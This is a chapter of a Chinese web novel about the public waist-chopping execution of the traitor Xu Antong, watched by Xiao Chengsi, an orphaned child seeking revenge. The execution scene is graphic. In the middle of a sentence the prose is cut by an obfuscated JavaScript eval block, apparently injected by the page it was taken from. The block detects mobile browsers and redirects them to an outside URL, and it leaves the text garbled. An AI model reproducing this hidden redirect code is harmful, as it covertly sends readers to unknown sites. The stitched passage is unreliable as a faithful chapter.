82. 萧承嗣

作品:《白月光她活到大结局了

    徐安童被游街示众三天,带着对自己将会腰斩而亡的恐惧,他瑟缩在囚车里被拉到城中游行。


    建康城里的百姓可真是太痛恨他了,徐安童欺压黎民百姓,搜刮民脂民膏,收受贿赂贪赃枉法,还主动打开城门放敌军进来,他不只是一个奸佞小人,更是一个无耻的卖国贼。


    一看到他的身影,立刻群起而攻之,烂菜叶子臭鸡蛋纷纷朝囚车砸去。


    要不是百姓们离得有些远再加上有囚车的保护,他非得让愤怒中的人们给砸死不可。


    有些事情,因为未知所以可怕,但有些事情则是因为已知所以可怕,就比如说确切的知道了自己将会死亡,还是以一种极为惨痛的方式死去,任谁也不会无动于衷,更何况是本就贪生怕死的徐安童。


    他将自己的性命放于一切之上,为了保命还曾卖过国,如今悄然落幕,被施以腰斩之刑,他根本接受不了!


    恐惧在徘徊,那瑟瑟发抖的身体在这一刻是那样的无助,他已经用尽了一切办法,说尽了一切他可以说的话,然而还是没能保住他的这条命。


    萧淮要杀了他。


    真乃时也命也。


    比死亡更痛苦的是等待死亡,比等待死亡更痛苦的是暴露在所有人眼中忍受着他们的欺辱并在他们期盼的眼神中等待着死亡的来临。


    所有人都在盼着他死,所有人都在拿烂菜叶臭鸡蛋扔他,对于他的死似乎所有人都认为是一件大快人心的事情。


    他何曾有这样狼狈的时候?


    以前高高在上,因为有了陛下的宠信他可以作威作福,没有人敢杀他,没有人可以威胁到他的性命,纵使魏军攻破建康城他也依旧活得好好的,他是无论如何都没有料到自己将会有这样一天的。


    只怪时运不济,当时没能逃出去建康,以至于今日沦为阶下囚,性命岌岌可危。


    悔恨与恐惧交织,懊悔过往与害怕现在的想法充斥在他的心里。


    一步错,步步错,世上没有后悔药,如今一切都晚了。


    刚被推出来游街示众之时徐安童后悔自己没能早早的逃出去,那是本着对没能挽救自己性命的可惜而这样想,只差一步,只要那时他离开了建康他便不会被萧淮抓住从而得了腰斩之刑。


    然而当游街示众的时间已过,他被拉到刑场上时,他却不再后悔没能及时逃出去建康了,他后悔的是没能在一开始萧淮还籍籍无名之时就使计除掉他。


    如果萧淮早就死了他今天也不会沦落到这般田地。


    这不是简简单单的后悔,这是一种遗憾,是一种抱憾终生犹如毁天灭地般的遗憾,这种遗憾夹杂着愤怒,夹杂着憎恨,夹杂着他生生世世的诅咒。


    “萧淮!你不得好死!!!”


    “萧淮!我诅咒你死于非命,你死无葬身之地!!!”


    “你不得好死!你不得好死啊!!!”


    临死前的怒吼,临死前的咆哮,那大喊着的声音中夹杂着他对萧淮的憎恨,越是恐惧,呐喊着的声音就越大,越是恐惧,他对萧淮的憎恨也就越深。


    然而这也恰恰说明了他对自己死亡的无能为力。


    这条命,已经不由他做主。


    被押着上去行刑,被推到那口铡刀之下,那泛着冷光的铡刀令他遍体生寒。


    他愤怒的吼叫,用尽一切恶毒的话语咒骂那个下令夺取他性命的人。


    诅咒的话语一句接一句,太过难听,行刑官嫌恶地皱了皱眉,一声令下,徐安童的嘴被堵上了。


    他的眼睛瞪得快要凸出来,无法咒骂便用眼神愤恨地看着一切。


    濒死前的不甘心,濒死前的害怕,所有的情绪都化作了那连绵的眼神。


    可惜,他没有以后了。


    行刑的时间已到,刽子手抬起铡刀,高高抬起,重重落下。


    鲜红的液体涌现,那是他的血。


    他被腰斩了。


    半截子的他还没有断气,痛苦挣扎,气息奄奄地攀爬。


    如此残忍的一幕却令所有人都大快人心。


    徐安童合该有此下场!


    “天理昭昭,报应不爽啊!”


    “是啊,这奸佞也有今天,真是善有善报恶有恶报,不是不报时候未到。”


    “他害死了多少人?如今有此下场也算是为那些枉死的人讨了公道了......”


    刑场外面围了一圈又一圈的人,能亲眼看到徐安童被行刑也算是所有人都喜闻乐见的一件事。


    围观的人群中不乏有些许孩童,年龄尚幼的他们看到徐安童被腰斩以后的画面吓得直往后退,有几个小孩甚至还用手捂住眼睛不敢再看那血红一片的场景。


    半截子身体在一滩红色液体中蠕动,他的面容早已因为痛苦得不能自已而扭曲,蜿蜒曲折,想要挣扎却又失去所有气力,只能在那里苟延残喘,待血液流干,他就断气了。


    想死又不能死,进气多出气少,剧痛缠绕,他是生不如死。


    真是令人害怕,看到他这幅模样,许多孩子若再继续看下去只怕是会晚上做噩梦,大人们忙着拉开孩童,不让他们停留在这里。


    跟着大人一起出来的孩童被大人拉回了家,因为好奇众人围观而独自跟过来或是与伙伴一起过来的孩童也因为害怕急急忙忙离开了这里,此时刑场外面几乎没什么孩子了。


    时间又过,徐安童终究是因为血流干了断气而亡,他死不瞑目,那瞪大的双眼和扭曲的表情实在是可怖,许多人不敢再围观,纷纷退去。


    人散了许多,只是有一个小小的身影始终站在那里看着刑场,他一动不动,一直注视着徐安童。


    他是一个瘦弱的孩子,看身高充其量也就是五六岁左右。


    他很早之前就来到了刑场外面,只是今日围观的人太多而他又太过矮小,此前一直没能挤到最前面,他被湮没在了人群之中,现在人渐少,他终于可以来到最前面看了。


    别的孩子看到那血腥的一幕都纷纷害怕的不敢再看,也不敢继续停留,然而他却对死状惨烈的徐安童丝毫没有害怕。


    不仅没有害怕,他似乎还很期待。


    他穿着一件深蓝色的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16346544|172036||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    斗篷,瘦弱矮小的他被深蓝色斗篷从头到尾笼罩着。


    斗篷之下,他的眼神死死盯住那刑场上的两截子身体,片刻不离。


    他看了又看,看了又看,不知过去了多久,当他再一次将眼神停留到徐安童那痛苦扭曲死不瞑目的脸上之时,他笑了。


    他笑得释然。


    轻轻一笑,却是停不下来,他开始大笑。


    这是很奇怪的一幕,一个五六岁的孩童,看着死状恐怖的死尸不仅不害怕,反而看了之后大笑,笑得很开心。


    人影散去,黄昏以至,夕阳的颜色映射在地上,勾起层层橘红,刑场上的血液已经变得暗红,凝固在了那一片的土地上。


    落日的余晖中,那个看着大约五六岁的孩童离开了刑场,夕阳的昏黄洒在他的脸颊上留下一道暗金的阴影。


    他的笑声再次响起,伴随着他的脚步渐行渐远。


    徐安童终于死了,他终于死了。


    那个害了他全家的仇人终于死了。


    大快人心,大快人心,这世上还有比这更大快人心的事情吗?


    “父亲,母亲,徐安童终于死了。”


    他看向天空,仿佛这样就可以看到他的父亲和母亲,亲口告诉他们徐安童已经死了,他们家的仇人已经死了。


    太阳即将落下,白云悠悠飘散,天空中除此之外什么都没有,空荡寥廓,黯然落幕。


    他停住脚步,缓缓闭眼,顷刻之间,两行清泪从他眼角滑落。


    这两行泪他已经积压了很久。


    他不是一个爱哭的人,但这些时日发生了太多,他时常想哭却又不敢放声大哭。


    母亲教导他男子汉不可以哭,但他实在忍不住了。


    没有人知道他这段时间经历了什么,也没有人知道他这段时间究竟是怎么过来的。


    他名萧承嗣,出身于大梁宗室,他的祖父是萧岳,是大梁的武陵王,而他的父亲正是武陵王的次子秣陵县公,他的母亲是大梁名将陈兴道将军的长女,将门之女,出身不凡。


    曾几何时,他最是自豪于自己的身份,他为祖父骄傲,为父亲骄傲,为母亲骄傲,也为他自己而感到骄傲。


    但直到那一天,那来自北面的魏军渡江而来,建康城破,所有的一切都发生了改变。


    好几次差一点丢掉性命,好几次岌岌可危,他流离失所,四处飘荡,失去亲人,孤苦伶仃。


    建康城破,身为萧家宗室他差一点被李兴业处死,但因为年纪尚幼身高也没有车轮子高便被李兴业放过,只是他的父亲连同他的祖父还有伯父三叔都丧生在了那场劫难之中。


    失去父亲,母亲悲恸不已,却不得不赶紧带着他四处避难,以防止魏军再起杀意,然而徐安童这奸佞,因与祖父的旧怨迁怒于他们,见他们从魏军手中捡回性命心生不忿,又起杀心。


    母亲为了护他逃离躲藏,不幸死于徐安童的刀下。


    徐安童与他们一家,是有着不死不休仇恨的仇人。


    他终于等到了这一天,等到了徐安童死亡的这一天。